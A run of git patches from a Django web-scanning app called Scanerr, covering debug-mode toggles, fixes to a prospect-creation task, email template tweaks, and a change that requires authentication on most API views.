 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 CORS_ORIGIN_ALLOW_ALL = True

From dae81b2ee0b2bea15a051242c3b3416464caa870 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 08:54:35 -0700
Subject: [PATCH 227/752] prod mode

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index bac95705..82789eb0 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = True
+DEBUG = False
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From 42247b4f6e354958fa338938d92c6694b0f21648 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 09:02:55 -0700
Subject: [PATCH 228/752] debug

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 82789eb0..bac95705 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = False
+DEBUG = True
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From e3ad9daa965a8431ff983368fec03cbd8cb2f3f8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 09:08:21 -0700
Subject: [PATCH 229/752] fixing serializing issue

---
 app/api/tasks.py           | 11 +++++++----
 app/api/v1/ops/services.py |  2 +-
 2 files changed, 8 insertions(+), 5 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f2759289..bb383636 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -567,7 +567,10 @@ def delete_admin_sites(days_to_live=1):
 
 
 @shared_task
-def create_prospect(user):
+def create_prospect(user_id=None):
+
+    # get user by id
+    user = User.objects.get(id=id)
     
     # setup configs
     url = f'{settings.LANDING_API_ROOT}/v1/ops/prospect'
@@ -576,9 +579,9 @@ def create_prospect(user):
         "Authorization" : f'Token {settings.LANDING_API_KEY}'
     }
     data = {
-        'first_name': user.first_name,
-        'last_name': user.last_name,
-        'email': user.email,
+        'first_name': str(user.first_name),
+        'last_name': str(user.last_name),
+        'email': str(user.email),
         'status': 'warm',
         'source': 'app',
     }
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 874d7fc0..a04d7f5b 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -167,7 +167,7 @@ def create_site(request, delay=False):
         # check if this is account's first site
         if Site.objects.filter(account=account).count() == 1:
             # send POST to landing/v1/ops/prospect
-            create_prospect.delay(user=user)
+            create_prospect.delay(user_id=user.id)
 
         if not configs:
             configs = {

From c553abaa1be95ec36a7bb326a2853a4a976e7521 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 10:49:03 -0700
Subject: [PATCH 230/752] expanding email templates

---
 app/api/utils/alerts.py   | 28 +++++++++++-----------------
 app/api/v1/auth/alerts.py | 39 ++++++---------------------------------
 2 files changed, 17 insertions(+), 50 deletions(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 7cf2fc63..093206e6 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -268,6 +268,7 @@ def get_item(object_id):
 
 def automation_email(email=None, automation_id=None, object_id=None):
     if email and automation_id:
+        user = User.objects.get(email=email)
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -300,6 +301,7 @@ def automation_email(email=None, automation_id=None, object_id=None):
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
         subject = subject
+
         context = {
             'title' : title,
             'subject': subject,
@@ -316,17 +318,6 @@ def automation_email(email=None, automation_id=None, object_id=None):
 
         sendgrid_email(message_obj=context)
 
-        # html_message = render_to_string('api/automation_email.html', context)
-        # plain_message = strip_tags(html_message)
-        # send_mail(
-        #     from_email = os.getenv('EMAIL_HOST_USER'),
-        #     subject = subject,
-        #     message = plain_message,
-        #     recipient_list = [email],
-        #     html_message = html_message,
-        #     fail_silently = True,
-        # )
-
         data = {
             'success': True
         }
@@ -410,11 +401,11 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
 
 
 def automation_webhook(
-    request_type=None, 
-    request_url=None, 
-    request_data=None,
-    automation_id=None, 
-    object_id=None,
+        request_type=None, 
+        request_url=None, 
+        request_data=None,
+        automation_id=None, 
+        object_id=None,
     ):
     if request_type and automation_id and request_url and request_data and object_id:
         automation = Automation.objects.get(id=automation_id)
@@ -610,7 +601,8 @@ def sendgrid_email(message_obj):
             'email':        <str>,
             'template':     <str>,
             'object_url':   <str>,
-            'signature':    <str>
+            'signature':    <str>,
+            'greeting':     <str>,
         }
 
     Returns --> data: {
@@ -630,10 +622,12 @@ def sendgrid_email(message_obj):
     exp_list = message_obj.get('exp_list')
     object_url = message_obj.get('object_url')
     signature = message_obj.get('signature', '- Cheers!')
+    greeting = message_obj.get('greeting', 'Hi there,')
 
 
     # build template data
     template_data = {
+        'greeting': greeting,
         'title' : title,
         'pre_header' : pre_header,
         'pre_content' : pre_content,
diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py
index 002f446c..5acaef68 100644
--- a/app/api/v1/auth/alerts.py
+++ b/app/api/v1/auth/alerts.py
@@ -24,9 +24,11 @@ def send_reset_link(email):
         title = 'Reset Password'
         pre_header = 'Reset Password'
         pre_content = 'Click the link below to reset your password.'
+        greeting = f'Hi there,'
 
         subject = subject
         context = {
+            'greeting': greeting,
             'title' : title,
             'subject' : subject,
             'email': email,
@@ -41,17 +43,6 @@ def send_reset_link(email):
 
         sendgrid_email(message_obj=context)
 
-        # html_message = render_to_string('api/alert_with_button.html', context)
-        # plain_message = strip_tags(html_message)
-        # send_mail(
-        #     from_email = os.getenv('EMAIL_HOST_USER'),
-        #     subject = subject,
-        #     message = plain_message,
-        #     recipient_list = [email],
-        #     html_message = html_message,
-        #     fail_silently = True,
-        # )
-
         data = {
             'success': True
         }
@@ -77,9 +68,11 @@ def send_invite_link(member):
         title = 'Scanerr Invite'
         pre_header = 'Scanerr Invite'
         pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!'
+        greeting = 'Hi there,'
 
         subject = subject
         context = {
+            'greeting': greeting,
             'title' : title,
             'subject' : subject,
             'email': member.email,
@@ -94,17 +87,6 @@ def send_invite_link(member):
         
         sendgrid_email(message_obj=context)
 
-        # html_message = render_to_string('api/alert_with_button.html', context)
-        # plain_message = strip_tags(html_message)
-        # send_mail(
-        #     from_email = os.getenv('EMAIL_HOST_USER'),
-        #     subject = subject,
-        #     message = plain_message,
-        #     recipient_list = [member.email],
-        #     html_message = html_message,
-        #     fail_silently = True,
-        # )
-
         data = {
             'success': True
         }
@@ -127,9 +109,11 @@ def send_remove_alert(member):
         title = 'Removed From Account'
         pre_header = 'Removed From Account'
         pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.'
+        greeting = 'Hi there,'
 
         subject = subject
         context = {
+            'greeting' : greeting,
             'title' : title,
             'subject' : subject,
             'email': member.email,
@@ -146,17 +130,6 @@ def send_remove_alert(member):
         # delete member obj
         member.delete()
 
-        # html_message = render_to_string('api/alert_no_button.html', context)
-        # plain_message = strip_tags(html_message)
-        # send_mail(
-        #     from_email = os.getenv('EMAIL_HOST_USER'),
-        #     subject = subject,
-        #     message = plain_message,
-        #     recipient_list = [member.email],
-        #     html_message = html_message,
-        #     fail_silently = True,
-        # )
-
         data = {
             'success': True
         }

From 32af1795d08c872c24b1ecd610f88db5ea7ee1d3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 10:49:51 -0700
Subject: [PATCH 231/752] prod mode

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index bac95705..82789eb0 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = True
+DEBUG = False
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From 91e99eb349fc143f7e4a70e16664096456a6bdd2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 11:41:00 -0700
Subject: [PATCH 232/752] fixing create_proepect() method

---
 app/api/tasks.py           | 4 ++--
 app/api/v1/ops/services.py | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index bb383636..4aca91f6 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -567,10 +567,10 @@ def delete_admin_sites(days_to_live=1):
 
 
 @shared_task
-def create_prospect(user_id=None):
+def create_prospect(user_email=None):
 
     # get user by id
-    user = User.objects.get(id=id)
+    user = User.objects.get(email=user_email)
     
     # setup configs
     url = f'{settings.LANDING_API_ROOT}/v1/ops/prospect'
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a04d7f5b..09ed7353 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -167,7 +167,7 @@ def create_site(request, delay=False):
         # check if this is account's first site
         if Site.objects.filter(account=account).count() == 1:
             # send POST to landing/v1/ops/prospect
-            create_prospect.delay(user_id=user.id)
+            create_prospect.delay(user_email=str(user.email))
 
         if not configs:
             configs = {

From c3da6db1a247d1e865e7bba3f1ad1a4ddbae3ffb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 11:44:33 -0700
Subject: [PATCH 233/752] fixing typo

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 4aca91f6..18e11b7e 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -599,7 +599,7 @@ def create_prospect(user_email=None):
 
     except Exception as e:
         success = False
-        message = res
+        message = e
 
     data = {
         'success': success,

From 7eeabee5aeb416bbc4f9d8c614b869082a2a5290 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 12:05:11 -0700
Subject: [PATCH 234/752] fixed create_prospects

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 18e11b7e..ab5f9f3d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -573,7 +573,7 @@ def create_prospect(user_email=None):
     user = User.objects.get(email=user_email)
     
     # setup configs
-    url = f'{settings.LANDING_API_ROOT}/v1/ops/prospect'
+    url = f'{settings.LANDING_API_ROOT}/ops/prospect'
     headers = {
         "content-type": "application/json",
         "Authorization" : f'Token {settings.LANDING_API_KEY}'

From 43b52d244fd43258b9d81bf9811a0c1dda41b4e2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 12:05:21 -0700
Subject: [PATCH 235/752] locked down api views

---
 app/api/v1/auth/views.py    | 10 ++---
 app/api/v1/billing/views.py | 22 +++++-----
 app/api/v1/ops/views.py     | 84 ++++++++++++++++++-------------------
 3 files changed, 58 insertions(+), 58 deletions(-)

diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index 6176c6cd..a86ce1e2 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -138,7 +138,7 @@ def post(self, request):
 
 
 class UpdateUser(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request): 
@@ -221,7 +221,7 @@ def get(self, request, *args, **kwargs):
 
 
 class Account(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
 
     def post(self, request, *args, **kwargs ):
@@ -235,7 +235,7 @@ def get(self, request, id=None, *args, **kwargs):
 
 
 class AccountMembers(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id=None, *args, **kwargs):
@@ -244,7 +244,7 @@ def get(self, request, id=None, *args, **kwargs):
 
 
 class Member(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
 
     def post(self, request, *args, **kwargs ):
@@ -258,7 +258,7 @@ def get(self, request, id=None, *args, **kwargs):
         
 
 class Prospect(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request):
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 2e93b0ff..e6fea61b 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -1,5 +1,5 @@
 from rest_framework.response import Response
-from rest_framework.permissions import AllowAny
+from rest_framework.permissions import IsAuthenticated, IsAuthenticated
 from rest_framework.views import APIView
 from rest_framework import status
 from django.contrib.auth.models import User
@@ -15,7 +15,7 @@
 
 
 class StripeKey(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -27,7 +27,7 @@ def post(self, request):
 
 
 class CreateCustomer(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -46,7 +46,7 @@ def post(self, request):
 
 
 class CreateProduct(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -65,7 +65,7 @@ def post(self, request):
 
 
 class CreatePrice(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -92,7 +92,7 @@ def post(self, request):
 
 
 class CreateSubscription(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -119,7 +119,7 @@ def post(self, request):
 
 
 class CompleteSubscription(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -213,7 +213,7 @@ def post(self, request):
 
 
 class SetupSubscription(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -316,7 +316,7 @@ def post(self, request):
 
 
 class GetBillingInfo(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -365,7 +365,7 @@ def post(self, request):
 
 
 class AccountActivation(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     https_method_names = ['post',]
 
     def post(self, request):
@@ -426,7 +426,7 @@ def post(self, request):
 
 
 class StripeInvoice(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     https_method_names = ['get',]
 
     def get(self, request):
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index fff28efd..dfdac0bd 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -19,7 +19,7 @@
 
 
 class Sites(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
     pagination_class = LimitOffsetPagination
 
@@ -34,7 +34,7 @@ def get(self, request):
 
 
 class SiteDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -58,7 +58,7 @@ def delete(self, request, id):
 
 
 class SiteDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -68,7 +68,7 @@ def post(self, request):
 
 
 class SiteCrawl(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request, id):
@@ -77,7 +77,7 @@ def post(self, request, id):
 
 
 class SitesDelete(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -88,7 +88,7 @@ def post(self, request):
 
 
 class Pages(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
     pagination_class = LimitOffsetPagination
 
@@ -103,7 +103,7 @@ def get(self, request):
 
 
 class PageDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -127,7 +127,7 @@ def delete(self, request, id):
 
 
 class PageDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -137,7 +137,7 @@ def post(self, request):
 
 
 class PagesDelete(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -148,7 +148,7 @@ def post(self, request):
 
 
 class Scans(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get',]
     pagination_class = LimitOffsetPagination
 
@@ -162,7 +162,7 @@ def get(self, request):
 
 
 class ScanDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete',]
 
     def get(self, request, id):
@@ -188,7 +188,7 @@ def delete(self, request, id):
 
 
 class ScanLean(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', ]
 
     def get(self, request, id):
@@ -197,7 +197,7 @@ def get(self, request, id):
 
 
 class ScanDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -207,7 +207,7 @@ def post(self, request):
 
 
 class ScansCreate(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -217,7 +217,7 @@ def post(self, request):
 
 
 class ScansDelete(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -229,7 +229,7 @@ def post(self, request):
 
 
 class Tests(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get',]
     pagination_class = LimitOffsetPagination
 
@@ -243,7 +243,7 @@ def get(self, request):
 
 
 class TestDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete',]
 
     def get(self, request, id):
@@ -268,7 +268,7 @@ def delete(self, request, id):
 
 
 class TestLean(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id):
@@ -277,7 +277,7 @@ def get(self, request, id):
 
 
 class TestDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -286,7 +286,7 @@ def post(self, request):
 
 
 class TestsCreate(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -295,7 +295,7 @@ def post(self, request):
 
 
 class TestsDelete(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -308,7 +308,7 @@ def post(self, request):
 
 
 class Schedules(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
 
     def post(self, request):
@@ -321,7 +321,7 @@ def get(self, request):
 
 
 class ScheduleDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -349,7 +349,7 @@ def delete(self, request, id):
 
 
 class Automations(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
     pagination_class = LimitOffsetPagination
 
@@ -363,7 +363,7 @@ def get(self, request):
 
 
 class AutomationDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -391,7 +391,7 @@ def delete(self, request, id):
 
 
 class Reports(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
 
     def post(self, request):
@@ -405,7 +405,7 @@ def get(self, request):
 
 
 class ReportDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -436,7 +436,7 @@ def delete(self, request, id):
 
 
 class Cases(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
 
     def post(self, request):
@@ -450,7 +450,7 @@ def get(self, request):
 
 
 class CasesSearch(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get']
 
     def get(self, request):
@@ -460,7 +460,7 @@ def get(self, request):
 
 
 class CaseDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -486,7 +486,7 @@ def delete(self, request, id):
 
 
 class Testcases(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
 
     def post(self, request):
@@ -500,7 +500,7 @@ def get(self, request):
 
 
 class TestcaseDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -510,7 +510,7 @@ def post(self, request):
 
 
 class TestcaseDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -538,7 +538,7 @@ def delete(self, request, id):
 
 
 class Logs(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
     pagination_class = LimitOffsetPagination
     
@@ -548,7 +548,7 @@ def get(self, request):
 
 
 class LogDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id):
@@ -566,7 +566,7 @@ def get(self, request, id):
 
 
 class HomeStats(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request):
@@ -576,7 +576,7 @@ def get(self, request):
 
 
 class SiteStats(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request):
@@ -586,7 +586,7 @@ def get(self, request):
 
 
 class Processes(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get']
     
     def get(self, request):
@@ -595,7 +595,7 @@ def get(self, request):
 
 
 class ProcessDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id):
@@ -614,7 +614,7 @@ def get(self, request, id):
 
 
 class WordPressMigrateSite(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
     
     def post(self, request):
@@ -623,7 +623,7 @@ def post(self, request):
 
 
 class WordPressMigrateSiteDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
     
     def post(self, request):
@@ -632,7 +632,7 @@ def post(self, request):
 
 
 class SiteScreenshot(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
     
     def post(self, request):

From 58627b80dd3e73592cf40f014ccbd5167d5238d5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 12:10:17 -0700
Subject: [PATCH 236/752] fixed import issue

---
 app/api/v1/auth/views.py | 2 +-
 app/api/v1/ops/views.py  | 3 +--
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index a86ce1e2..c082fe8d 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -3,7 +3,7 @@
 from rest_framework_simplejwt.views import TokenObtainPairView
 from rest_framework_simplejwt.views import TokenRefreshView
 from rest_framework.viewsets import ModelViewSet, ViewSet
-from rest_framework.permissions import AllowAny
+from rest_framework.permissions import AllowAny, IsAuthenticated
 from rest_framework.views import APIView
 from rest_framework import status, serializers
 from rest_framework_simplejwt.tokens import RefreshToken, AccessToken
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index dfdac0bd..573ada7f 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -7,9 +7,8 @@
 from django.urls import path, include
 from rest_framework import routers, serializers, viewsets
 from rest_framework.viewsets import ViewSet
-from rest_framework.permissions import AllowAny
+from rest_framework.permissions import AllowAny, IsAuthenticated
 from rest_framework.views import APIView
-from rest_framework.permissions import IsAuthenticated
 from django.views.decorators.csrf import ensure_csrf_cookie
 from rest_framework.pagination import LimitOffsetPagination
 from django.urls import resolve

From 728d809fc23ba43bc4c761e3b07bb883ec9167b4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 4 Feb 2024 09:00:48 -0700
Subject: [PATCH 237/752] updated notes

---
 notes/Kubernetes.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 565446d1..d34df275 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -136,6 +136,8 @@ kubectl port-forward service/app-service 8000:8000
  - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
+ - Restart both celery & app deployments for a config-map change:
+   - `kubectl rollout restart deployment app-deployment celery-deployment`
 
 
 

From 5526eacdfe996ed2554d9177da3c98ae5086e476 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 4 Feb 2024 12:59:40 -0700
Subject: [PATCH 238/752] added new 'onboarding' param for create_prospect()
 trigger

---
 app/api/v1/ops/services.py | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 09ed7353..ef6e6a6a 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -125,10 +125,16 @@ def check_account(request=None, user=None, resource=None, site_id=None):
 def create_site(request, delay=False):
     site_url = request.data.get('site_url')
     page_urls = request.data.get('page_urls')
+    onboarding = request.data.get('onboarding', None)
     user = request.user
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
 
+    if onboarding is not None:
+        if str(onboarding).lower() == 'true':
+            onboarding = True
+        if str(onboarding).lower() == 'false':
+            onboarding = False
 
     if site_url.endswith('/'):
         site_url = site_url.rstrip('/')
@@ -164,8 +170,9 @@ def create_site(request, delay=False):
             account=account
         )
 
-        # check if this is account's first site
-        if Site.objects.filter(account=account).count() == 1:
+        # check if this is account's first site and onboarding = True
+        if Site.objects.filter(account=account).count() == 1 \
+            and onboarding == True:
             # send POST to landing/v1/ops/prospect
             create_prospect.delay(user_email=str(user.email))
 

From ceb646892593aa85d800fdc8e3564c13b097fb40 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 13 Feb 2024 19:24:11 -0700
Subject: [PATCH 239/752] adding phone to account

---
 app/api/models.py              | 1 +
 app/api/v1/auth/serializers.py | 2 +-
 app/api/v1/auth/services.py    | 7 ++++++-
 3 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 5c3cbf9d..21a3f2e5 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -241,6 +241,7 @@ class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True)
+    phone = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     active = models.BooleanField(default=False, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
